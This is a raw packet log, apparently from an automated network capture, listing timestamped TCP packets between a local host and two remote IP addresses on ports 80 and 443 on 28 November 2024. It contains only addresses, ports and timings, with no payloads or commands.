Nov 28, 2024 08:55:53.616019964 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.616832018 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.616913080 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.616945982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.617005110 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.617562056 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.617621899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.617685080 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.617729902 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.618432999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.618490934 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.618520021 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.618563890 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.619231939 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.619297981 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.619330883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.619402885 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.620093107 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.620145082 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.620170116 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.620213032 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.620906115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.621023893 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.621074915 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.621787071 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.621844053 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.621893883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.622570992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.622625113 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.622688055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.622734070 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.623405933 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.623538971 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.623555899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.623586893 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.624279022 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.624377966 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.624433041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.625107050 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.625159979 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.625216961 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.625325918 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.625901937 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.625956059 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.625994921 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.626036882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.626755953 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.626818895 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.626992941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.627079964 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.627676964 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.627738953 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.627770901 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.627815962 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.628417015 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.628480911 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.628592968 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.628683090 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.629297018 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.629354954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.629368067 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.629425049 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.630101919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.630260944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.630289078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.630314112 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.630969048 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.631017923 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.631185055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.631232023 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.631737947 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.631886005 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.631886959 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.631930113 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.632683992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.632750988 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.632839918 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.632885933 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.633522987 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.633573055 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.633594036 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.633641958 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.634279013 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.634325981 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.634346962 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.634401083 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.635122061 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.635225058 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.635255098 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.635267019 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.635932922 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.636009932 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.636049986 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.636105061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.636756897 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.636814117 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.637103081 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.637154102 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.637603045 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.637654066 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.637784958 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.637834072 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.638457060 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.638542891 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.638586044 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.639220953 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.639276981 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.807692051 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.807774067 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.807823896 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.807877064 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.808171034 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.808182955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.808193922 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.808228016 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.808268070 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.809103012 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.809114933 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.809169054 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.809962988 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.810101032 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.810152054 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.810868025 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.810879946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.810930967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.810949087 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.811795950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.811846972 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.811930895 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.812066078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.812546968 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.812623024 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.812850952 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.812911987 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.813250065 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.813302994 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.813532114 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.813581944 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.814261913 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.814343929 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.814366102 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.814413071 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.815006971 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.815073013 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.815150023 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.815191984 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.816241980 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.816292048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.816397905 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.816464901 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.816828966 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.816879988 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.817023993 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.817225933 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.817811966 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.817823887 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.817893982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.818528891 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.818619967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.818669081 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.818763018 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.819273949 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.819323063 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.819427013 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.820075989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.820143938 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.820204020 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.820256948 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.820967913 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.821132898 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.821188927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.821701050 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.821754932 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.821854115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.821897984 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.822886944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.822900057 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.822937012 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.822983980 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.823445082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.823457003 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.823496103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.824230909 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.824243069 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.824274063 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.824290037 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.825076103 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.825088024 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.825129032 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.825930119 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.825980902 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.826069117 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.826112986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.826685905 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.826698065 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.826721907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.826741934 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.826793909 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.827081919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.827132940 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.828387976 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.828398943 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.828505993 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.829112053 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.829163074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.829303026 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.829350948 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.830034971 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.830077887 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.830223083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.830265999 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.830849886 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.830902100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.831000090 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.831046104 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.831342936 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.831355095 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.831398010 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.831552029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.831563950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.831578016 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.831605911 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.831648111 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.831654072 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.831701040 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.832387924 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.832432032 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.832437992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.832484007 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.833226919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.833324909 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.833347082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.833390951 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.834064960 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.834168911 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.834208012 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.834933996 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.834981918 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.835021019 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.835064888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.835731983 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.835830927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.835855961 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.835906982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.836561918 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.836610079 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.836637020 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.837414026 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.837555885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.838241100 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.838344097 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.838373899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.838418007 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.839075089 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.839128971 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.839288950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.839386940 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.839970112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.840012074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.840058088 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.840725899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.840783119 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.840837955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.840881109 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.841586113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.841692924 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.841748953 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.842417955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.842474937 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.842514992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.842612982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.843247890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.843305111 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.843353033 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.843400002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.847673893 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.847687006 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.847697973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.847832918 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.847852945 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.847865105 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.847877026 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.847978115 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.847995043 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.848290920 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.849245071 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.849261045 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.849293947 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.849435091 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.850053072 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.850065947 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.850112915 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.850145102 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.850992918 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.851042986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.851172924 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:53.851224899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:53.961925030 CET	443	49806	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:53.963804960 CET	49806	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:53.963834047 CET	443	49806	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:53.964185953 CET	443	49806	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:53.964502096 CET	49806	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:53.964567900 CET	443	49806	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:53.964771032 CET	49806	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.011337042 CET	443	49806	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.027386904 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.027451038 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.027473927 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.027528048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.027780056 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.027985096 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.028052092 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.028642893 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.028692961 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.028810978 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.028855085 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.029558897 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.029572010 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.029618025 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.030312061 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.030380964 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.030424118 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.030469894 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.031162977 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.031213999 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.031224012 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.031280041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.031971931 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.032073021 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.032099962 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.032181025 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.032361031 CET	443	49805	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.032664061 CET	443	49809	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.032666922 CET	443	49807	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.032809019 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.032861948 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.032905102 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.033015013 CET	49805	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.033029079 CET	443	49805	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.033037901 CET	49748	80	192.168.2.8	185.215.113.206
